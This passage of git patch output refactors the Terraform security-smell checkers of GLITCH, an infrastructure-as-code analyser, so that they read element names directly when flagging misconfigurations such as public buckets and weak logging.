+ if database_flags != []: + for flag in database_flags: + name = self.check_required_attribute(flag.keyvalues, [""], "name", flag_name) + if name is not None: + found_flag = True + value = self.check_required_attribute(flag.keyvalues, [""], "value") + if value and value.value.lower() != safe_value: + errors.append(Error(smell, value, file, repr(value))) + break + elif not value and required_flag: + errors.append(Error(smell, flag, file, repr(flag), + f"Suggestion: check for a required attribute with name 'value'.")) + break + if not found_flag and required_flag: + errors.append(Error(smell, au, file, repr(au), + f"Suggestion: check for a required flag '{flag_name}'.")) + return errors + + def iterate_required_attributes( + self, attributes: List[KeyValue], name: str, check: Callable[[KeyValue], bool] + ): + i = 0 + attribute = self.check_required_attribute(attributes, [""], f"{name}[{i}]") + + while attribute: + if check(attribute): + return True, attribute + i += 1 + attribute = self.check_required_attribute(attributes, [""], f"{name}[{i}]") - def check_required_attribute(self, attributes, parents, name, value = None, pattern = None, return_all = False): - attributes = self.get_attributes_with_name_and_value(attributes, parents, name, value, pattern) - if attributes != []: - if return_all: - return attributes - return attributes[0] - else: - return None - - def check_database_flags(self, au: AtomicUnit, file: str, smell: str, flag_name: str, safe_value: str, - required_flag = True): - database_flags = self.get_attributes_with_name_and_value(au.attributes, ["settings"], "database_flags") - found_flag = False - errors = [] - if database_flags != []: - for flag in database_flags: - name = self.check_required_attribute(flag.keyvalues, [""], "name", flag_name) - if name is not None: - found_flag = True - value = self.check_required_attribute(flag.keyvalues, [""], "value") - if value and value.value.lower() != safe_value: - errors.append(Error(smell, value, file, repr(value))) - break - elif not value and required_flag: - errors.append(Error(smell, flag, file, repr(flag), - f"Suggestion: check for a required attribute with name 'value'.")) - break - if not found_flag and required_flag: - errors.append(Error(smell, au, file, repr(au), - f"Suggestion: check for a required flag '{flag_name}'.")) - return errors \ No newline at end of file + return False, None \ No newline at end of file From b4394e68efe49fd996db782c94a46aa13cbc2515 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Fri, 15 Mar 2024 12:39:39 +0000 Subject: [PATCH 53/58] remove elem name from check --- glitch/analysis/rules.py | 2 +- glitch/analysis/security.py | 6 +++--- glitch/analysis/terraform/access_control.py | 16 ++++++++-------- glitch/analysis/terraform/attached_resource.py | 2 +- glitch/analysis/terraform/authentication.py | 8 ++++---- glitch/analysis/terraform/dns_policy.py | 4 ++-- .../analysis/terraform/firewall_misconfig.py | 4 ++-- glitch/analysis/terraform/http_without_tls.py | 4 ++-- glitch/analysis/terraform/integrity_policy.py | 4 ++-- glitch/analysis/terraform/key_management.py | 10 +++++----- glitch/analysis/terraform/logging.py | 18 +++++++++--------- .../analysis/terraform/missing_encryption.py | 8 ++++---- glitch/analysis/terraform/naming.py | 6 +++--- glitch/analysis/terraform/network_policy.py | 4 ++-- .../terraform/permission_iam_policies.py | 8 ++++---- glitch/analysis/terraform/public_ip.py | 4 ++-- glitch/analysis/terraform/replication.py | 6 +++--- .../analysis/terraform/sensitive_iam_action.py | 2 +- glitch/analysis/terraform/ssl_tls_policy.py | 4 ++-- glitch/analysis/terraform/threats_detection.py | 4 ++-- glitch/analysis/terraform/versioning.py | 4 ++-- .../terraform/weak_password_key_policy.py | 4 ++-- 22 files changed, 66 insertions(+), 66 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 4a37792e..5a0ba415 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -221,5 +221,5 @@ def check_comment(self, c: Comment, file: str) -> list[Error]: class SmellChecker(ABC): @abstractmethod - def check(self, element, file: str, code = None, elem_name: str = "", elem_value: str = "", au_type = None, parent_name = "") -> list[Error]: + def check(self, element, file: str) -> list[Error]: pass diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index f267ff8c..89ec2d00 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -147,7 +147,7 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> List[Error]: break for checker in self.checkers: - errors += checker.check(au, file, self.code, au.name) + errors += checker.check(au, file, self.code) if self.__is_http_url(au.name): errors.append(Error('sec_https', au, file, repr(au))) @@ -159,7 +159,7 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> List[Error]: def check_dependency(self, d: Dependency, file: str) -> List[Error]: return [] - def __check_keyvalue(self, c: CodeElement, name: str, + def __check_keyvalue(self, c: KeyValue, name: str, value: str, has_variable: bool, file: str, au_type = None, parent_name: str = ""): errors = [] name = name.strip().lower() @@ -294,7 +294,7 @@ def get_module_var(c, name: str): value = var.value for checker in self.checkers: - errors += checker.check(c, file, self.code, name, value, au_type, parent_name) + errors += checker.check(c, file, self.code, value, au_type, parent_name) return errors diff --git a/glitch/analysis/terraform/access_control.py b/glitch/analysis/terraform/access_control.py index 49e05527..c0dc49e3 100644 --- a/glitch/analysis/terraform/access_control.py +++ b/glitch/analysis/terraform/access_control.py @@ -6,7 +6,7 @@ class TerraformAccessControl(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_api_gateway_method"): @@ -39,7 +39,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif (element.type == "resource.google_sql_database_instance"): errors += self.check_database_flags(element, file, 'sec_access_control', "cross db ownership chaining", "off") elif (element.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{elem_name}\." + expr = "\${aws_s3_bucket\." + f"{element.name}\." pattern = re.compile(rf"{expr}") if not self.get_associated_au(code, file, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]): errors.append(Error('sec_access_control', element, file, repr(element), @@ -54,7 +54,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for item in SecurityVisitor._POLICY_KEYWORDS: - if item.lower() == elem_name: + if item.lower() == element.name: for config in SecurityVisitor._POLICY_ACCESS_CONTROL: expr = config['keyword'].lower() + "\s*" + config['value'].lower() pattern = re.compile(rf"{expr}") @@ -64,20 +64,20 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_access_control', element, file, repr(element))) break - if (re.search(r"actions\[\d+\]", elem_name) and parent_name == "permissions" + if (re.search(r"actions\[\d+\]", element.name) and parent_name == "permissions" and au_type == "resource.azurerm_role_definition" and elem_value == "*"): errors.append(Error('sec_access_control', element, file, repr(element))) - elif (((re.search(r"members\[\d+\]", elem_name) and au_type == "resource.google_storage_bucket_iam_binding") - or (elem_name == "member" and au_type == "resource.google_storage_bucket_iam_member")) + elif (((re.search(r"members\[\d+\]", element.name) and au_type == "resource.google_storage_bucket_iam_binding") + or (element.name == "member" and au_type == "resource.google_storage_bucket_iam_member")) and (elem_value == "allusers" or elem_value == "allauthenticatedusers")): errors.append(Error('sec_access_control', element, file, repr(element))) - elif (elem_name == "email" and parent_name == "service_account" + elif (element.name == "email" and parent_name == "service_account" and au_type == "resource.google_compute_instance" and re.search(r".-compute@developer.gserviceaccount.com", elem_value)): errors.append(Error('sec_access_control', element, file, repr(element))) for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and not element.has_variable and elem_value.lower() not in config['values'] and config['values'] != [""]): diff --git a/glitch/analysis/terraform/attached_resource.py b/glitch/analysis/terraform/attached_resource.py index b8341a16..1fb525f7 100644 --- a/glitch/analysis/terraform/attached_resource.py +++ b/glitch/analysis/terraform/attached_resource.py @@ -5,7 +5,7 @@ class TerraformAttachedResource(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): def check_attached_resource(attributes, resource_types): diff --git a/glitch/analysis/terraform/authentication.py b/glitch/analysis/terraform/authentication.py index fd8bce15..87d7ca1f 100644 --- a/glitch/analysis/terraform/authentication.py +++ b/glitch/analysis/terraform/authentication.py @@ -6,13 +6,13 @@ class TerraformAuthentication(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.google_sql_database_instance"): errors += self.check_database_flags(element, file, 'sec_authentication', "contained database authentication", "off") elif (element.type == "resource.aws_iam_group"): - expr = "\${aws_iam_group\." + f"{elem_name}\." + expr = "\${aws_iam_group\." + f"{element.name}\." pattern = re.compile(rf"{expr}") if not self.get_associated_au(code, file, "resource.aws_iam_group_policy", "group", pattern, [""]): errors.append(Error('sec_authentication', element, file, repr(element), @@ -27,7 +27,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for item in SecurityVisitor._POLICY_KEYWORDS: - if item.lower() == elem_name: + if item.lower() == element.name: for config in SecurityVisitor._POLICY_AUTHENTICATION: if au_type in config['au_type']: expr = config['keyword'].lower() + "\s*" + config['value'].lower() @@ -36,7 +36,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_authentication', element, file, repr(element))) for config in SecurityVisitor._AUTHENTICATION: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and not element.has_variable and elem_value.lower() not in config['values'] and config['values'] != [""]): diff --git a/glitch/analysis/terraform/dns_policy.py b/glitch/analysis/terraform/dns_policy.py index 6b87fd99..1fb5039a 100644 --- a/glitch/analysis/terraform/dns_policy.py +++ b/glitch/analysis/terraform/dns_policy.py @@ -5,7 +5,7 @@ class TerraformDnsWithoutDnssec(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._DNSSEC_CONFIGS: @@ -16,7 +16,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._DNSSEC_CONFIGS: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and not element.has_variable and elem_value.lower() not in config['values'] and config['values'] != [""]): diff --git a/glitch/analysis/terraform/firewall_misconfig.py b/glitch/analysis/terraform/firewall_misconfig.py index dd661023..fd79b7b5 100644 --- a/glitch/analysis/terraform/firewall_misconfig.py +++ b/glitch/analysis/terraform/firewall_misconfig.py @@ -5,7 +5,7 @@ class TerraformFirewallMisconfig(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._FIREWALL_CONFIGS: @@ -16,7 +16,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._FIREWALL_CONFIGS: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and elem_value.lower() == ""): return [Error('sec_firewall_misconfig', element, file, repr(element))] diff --git a/glitch/analysis/terraform/http_without_tls.py b/glitch/analysis/terraform/http_without_tls.py index 1f4e7ab9..4feffb07 100644 --- a/glitch/analysis/terraform/http_without_tls.py +++ b/glitch/analysis/terraform/http_without_tls.py @@ -5,7 +5,7 @@ class TerraformHttpWithoutTls(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "data.http"): @@ -36,7 +36,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._HTTPS_CONFIGS: - if (elem_name == config["attribute"] and au_type in config["au_type"] + if (element.name == config["attribute"] and au_type in config["au_type"] and parent_name in config["parents"] and not element.has_variable and elem_value.lower() not in config["values"]): return [Error('sec_https', element, file, repr(element))] diff --git a/glitch/analysis/terraform/integrity_policy.py b/glitch/analysis/terraform/integrity_policy.py index b0197116..309a3daa 100644 --- a/glitch/analysis/terraform/integrity_policy.py +++ b/glitch/analysis/terraform/integrity_policy.py @@ -5,7 +5,7 @@ class TerraformIntegrityPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for policy in SecurityVisitor._INTEGRITY_POLICY: @@ -15,7 +15,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) elif isinstance(element, Attribute) or isinstance(element, Variable): for policy in SecurityVisitor._INTEGRITY_POLICY: - if (elem_name == policy['attribute'] and au_type in policy['au_type'] + if (element.name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and not element.has_variable and elem_value.lower() not in policy['values']): return[Error('sec_integrity_policy', element, file, repr(element))] diff --git a/glitch/analysis/terraform/key_management.py b/glitch/analysis/terraform/key_management.py index cafe3376..d3568e62 100644 --- a/glitch/analysis/terraform/key_management.py +++ b/glitch/analysis/terraform/key_management.py @@ -6,11 +6,11 @@ class TerraformKeyManagement(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.azurerm_storage_account"): - expr = "\${azurerm_storage_account\." + f"{elem_name}\." + expr = "\${azurerm_storage_account\." + f"{element.name}\." pattern = re.compile(rf"{expr}") if not self.get_associated_au(code, file, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", pattern, [""]): @@ -25,7 +25,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._KEY_MANAGEMENT: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and elem_value.lower() == ""): errors.append(Error('sec_key_management', element, file, repr(element))) @@ -35,7 +35,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_key_management', element, file, repr(element))) break - if (elem_name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): + if (element.name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): expr1 = r'\d+\.\d{0,9}s' expr2 = r'\d+s' if (re.search(expr1, elem_value) or re.search(expr2, elem_value)): @@ -43,7 +43,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_key_management', element, file, repr(element))) else: errors.append(Error('sec_key_management', element, file, repr(element))) - elif (elem_name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" + elif (element.name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" and elem_value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" and elem_value == "alias/aws/sns"))): errors.append(Error('sec_key_management', element, file, repr(element))) diff --git a/glitch/analysis/terraform/logging.py b/glitch/analysis/terraform/logging.py index 59bc1162..a7c785cd 100644 --- a/glitch/analysis/terraform/logging.py +++ b/glitch/analysis/terraform/logging.py @@ -108,7 +108,7 @@ def check_azurerm_storage_container(self, element, code, file: str): return errors - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_eks_cluster"): @@ -159,7 +159,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", ["audit", "profiler"] )) elif (element.type == "resource.azurerm_mssql_server"): - expr = "\${azurerm_mssql_server\." + f"{elem_name}\." + expr = "\${azurerm_mssql_server\." + f"{element.name}\." pattern = re.compile(rf"{expr}") assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_server_extended_auditing_policy", "server_id", pattern, [""]) @@ -168,7 +168,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required resource 'azurerm_mssql_server_extended_auditing_policy' " + f"associated to an 'azurerm_mssql_server' resource.")) elif (element.type == "resource.azurerm_mssql_database"): - expr = "\${azurerm_mssql_database\." + f"{elem_name}\." + expr = "\${azurerm_mssql_database\." + f"{element.name}\." pattern = re.compile(rf"{expr}") assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_database_extended_auditing_policy", "database_id", pattern, [""]) @@ -212,7 +212,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_logging', element, file, repr(element), "Suggestion: check for a required attribute with name 'setting.name' and value 'containerInsights'.")) elif (element.type == "resource.aws_vpc"): - expr = "\${aws_vpc\." + f"{elem_name}\." + expr = "\${aws_vpc\." + f"{element.name}\." pattern = re.compile(rf"{expr}") assoc_au = self.get_associated_au(code, file, "resource.aws_flow_log", "vpc_id", pattern, [""]) @@ -228,7 +228,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name '{config['msg']}'.")) elif isinstance(element, Attribute) or isinstance(element, Variable): - if (elem_name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): + if (element.name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): if re.match(r"^\${aws_cloudwatch_log_group\..", elem_value): aws_cloudwatch_log_group_name = elem_value.split('.')[1] if not self.get_au(code, file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): @@ -237,20 +237,20 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"with name '{aws_cloudwatch_log_group_name}'.")) else: errors.append(Error('sec_logging', element, file, repr(element))) - elif (((elem_name == "retention_in_days" and parent_name == "" + elif (((element.name == "retention_in_days" and parent_name == "" and au_type in ["resource.azurerm_mssql_database_extended_auditing_policy", "resource.azurerm_mssql_server_extended_auditing_policy"]) - or (elem_name == "days" and parent_name == "retention_policy" + or (element.name == "days" and parent_name == "retention_policy" and au_type == "resource.azurerm_network_watcher_flow_log")) and ((not elem_value.isnumeric()) or (elem_value.isnumeric() and int(elem_value) < 90))): errors.append(Error('sec_logging', element, file, repr(element))) - elif (elem_name == "days" and parent_name == "retention_policy" + elif (element.name == "days" and parent_name == "retention_policy" and au_type == "resource.azurerm_monitor_log_profile" and (not elem_value.isnumeric() or (elem_value.isnumeric() and int(elem_value) < 365))): errors.append(Error('sec_logging', element, file, repr(element))) for config in SecurityVisitor._LOGGING: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and elem_value.lower() == ""): errors.append(Error('sec_logging', element, file, repr(element))) diff --git a/glitch/analysis/terraform/missing_encryption.py b/glitch/analysis/terraform/missing_encryption.py index df976c12..fc559366 100644 --- a/glitch/analysis/terraform/missing_encryption.py +++ b/glitch/analysis/terraform/missing_encryption.py @@ -6,11 +6,11 @@ class TerraformMissingEncryption(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{elem_name}\." + expr = "\${aws_s3_bucket\." + f"{element.name}\." pattern = re.compile(rf"{expr}") r = self.get_associated_au(code, file, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", pattern, [""]) @@ -61,7 +61,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._MISSING_ENCRYPTION: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and elem_value.lower() == ""): errors.append(Error('sec_missing_encryption', element, file, repr(element))) @@ -72,7 +72,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", break for item in SecurityVisitor._CONFIGURATION_KEYWORDS: - if item.lower() == elem_name: + if item.lower() == element.name: for config in SecurityVisitor._ENCRYPT_CONFIG: if au_type in config['au_type']: expr = config['keyword'].lower() + "\s*" + config['value'].lower() diff --git a/glitch/analysis/terraform/naming.py b/glitch/analysis/terraform/naming.py index db04b8dc..3a312a7e 100644 --- a/glitch/analysis/terraform/naming.py +++ b/glitch/analysis/terraform/naming.py @@ -6,7 +6,7 @@ class TerraformNaming(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_security_group"): @@ -35,13 +35,13 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name '{config['msg']}'.")) elif isinstance(element, Attribute) or isinstance(element, Variable): - if (elem_name == "name" and au_type in ["resource.azurerm_storage_account"]): + if (element.name == "name" and au_type in ["resource.azurerm_storage_account"]): pattern = r'^[a-z0-9]{3,24}$' if not re.match(pattern, elem_value): errors.append(Error('sec_naming', element, file, repr(element))) for config in SecurityVisitor._NAMING: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and elem_value.lower() == ""): errors.append(Error('sec_naming', element, file, repr(element))) diff --git a/glitch/analysis/terraform/network_policy.py b/glitch/analysis/terraform/network_policy.py index fa673c88..0d5b7e7e 100644 --- a/glitch/analysis/terraform/network_policy.py +++ b/glitch/analysis/terraform/network_policy.py @@ -6,7 +6,7 @@ class TerraformNetworkSecurityRules(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.azurerm_network_security_rule"): @@ -51,7 +51,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for rule in SecurityVisitor._NETWORK_SECURITY_RULES: - if (elem_name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] + if (element.name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] and not element.has_variable and elem_value.lower() not in rule['values'] and rule['values'] != [""]): return [Error('sec_network_security_rules', element, file, repr(element))] diff --git a/glitch/analysis/terraform/permission_iam_policies.py b/glitch/analysis/terraform/permission_iam_policies.py index ae72a0c7..793bc177 100644 --- a/glitch/analysis/terraform/permission_iam_policies.py +++ b/glitch/analysis/terraform/permission_iam_policies.py @@ -6,11 +6,11 @@ class TerraformPermissionIAMPolicies(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_iam_user"): - expr = "\${aws_iam_user\." + f"{elem_name}\." + expr = "\${aws_iam_user\." + f"{element.name}\." pattern = re.compile(rf"{expr}") assoc_au = self.get_associated_au(code, file, "resource.aws_iam_user_policy", "user", pattern, [""]) if assoc_au is not None: @@ -18,7 +18,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) elif isinstance(element, Attribute) or isinstance(element, Variable): - if ((elem_name == "member" or elem_name.split('[')[0] == "members") + if ((element.name == "member" or element.name.split('[')[0] == "members") and au_type in SecurityVisitor._GOOGLE_IAM_MEMBER and (re.search(r".-compute@developer.gserviceaccount.com", elem_value) or re.search(r".@appspot.gserviceaccount.com", elem_value) or @@ -26,7 +26,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) for config in SecurityVisitor._PERMISSION_IAM_POLICIES: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ((config['logic'] == "equal" and not element.has_variable and elem_value.lower() not in config['values']) or (config['logic'] == "diff" and elem_value.lower() in config['values'])): diff --git a/glitch/analysis/terraform/public_ip.py b/glitch/analysis/terraform/public_ip.py index aa466a53..9b69fbab 100644 --- a/glitch/analysis/terraform/public_ip.py +++ b/glitch/analysis/terraform/public_ip.py @@ -5,7 +5,7 @@ class TerraformPublicIp(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._PUBLIC_IP_CONFIGS: @@ -20,7 +20,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._PUBLIC_IP_CONFIGS: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and not element.has_variable and elem_value.lower() not in config['values'] and config['values'] != [""]): diff --git a/glitch/analysis/terraform/replication.py b/glitch/analysis/terraform/replication.py index 512fe0c2..3757b46b 100644 --- a/glitch/analysis/terraform/replication.py +++ b/glitch/analysis/terraform/replication.py @@ -6,11 +6,11 @@ class TerraformReplication(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{elem_name}\." + expr = "\${aws_s3_bucket\." + f"{element.name}\." pattern = re.compile(rf"{expr}") if not self.get_associated_au(code, file, "resource.aws_s3_bucket_replication_configuration", "bucket", pattern, [""]): @@ -26,7 +26,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._REPLICATION: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""] and not element.has_variable and elem_value.lower() not in config['values']): return [Error('sec_replication', element, file, repr(element))] diff --git a/glitch/analysis/terraform/sensitive_iam_action.py b/glitch/analysis/terraform/sensitive_iam_action.py index 4be13d1d..997ec78b 100644 --- a/glitch/analysis/terraform/sensitive_iam_action.py +++ b/glitch/analysis/terraform/sensitive_iam_action.py @@ -5,7 +5,7 @@ class TerraformSensitiveIAMAction(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] def convert_string_to_dict(input_string): diff --git a/glitch/analysis/terraform/ssl_tls_policy.py b/glitch/analysis/terraform/ssl_tls_policy.py index f5b56ca2..f2e7eecc 100644 --- a/glitch/analysis/terraform/ssl_tls_policy.py +++ b/glitch/analysis/terraform/ssl_tls_policy.py @@ -5,7 +5,7 @@ class TerraformSslTlsPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): @@ -24,7 +24,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for policy in SecurityVisitor._SSL_TLS_POLICY: - if (elem_name == policy['attribute'] and au_type in policy['au_type'] + if (element.name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and not element.has_variable and elem_value.lower() not in policy['values']): return [Error('sec_ssl_tls_policy', element, file, repr(element))] diff --git a/glitch/analysis/terraform/threats_detection.py b/glitch/analysis/terraform/threats_detection.py index 9b0ac367..66ce3930 100644 --- a/glitch/analysis/terraform/threats_detection.py +++ b/glitch/analysis/terraform/threats_detection.py @@ -5,7 +5,7 @@ class TerraformThreatsDetection(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: @@ -20,7 +20,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif isinstance(element, Attribute) or isinstance(element, Variable): for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: - if (elem_name == config['attribute'] and au_type in config['au_type'] + if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if 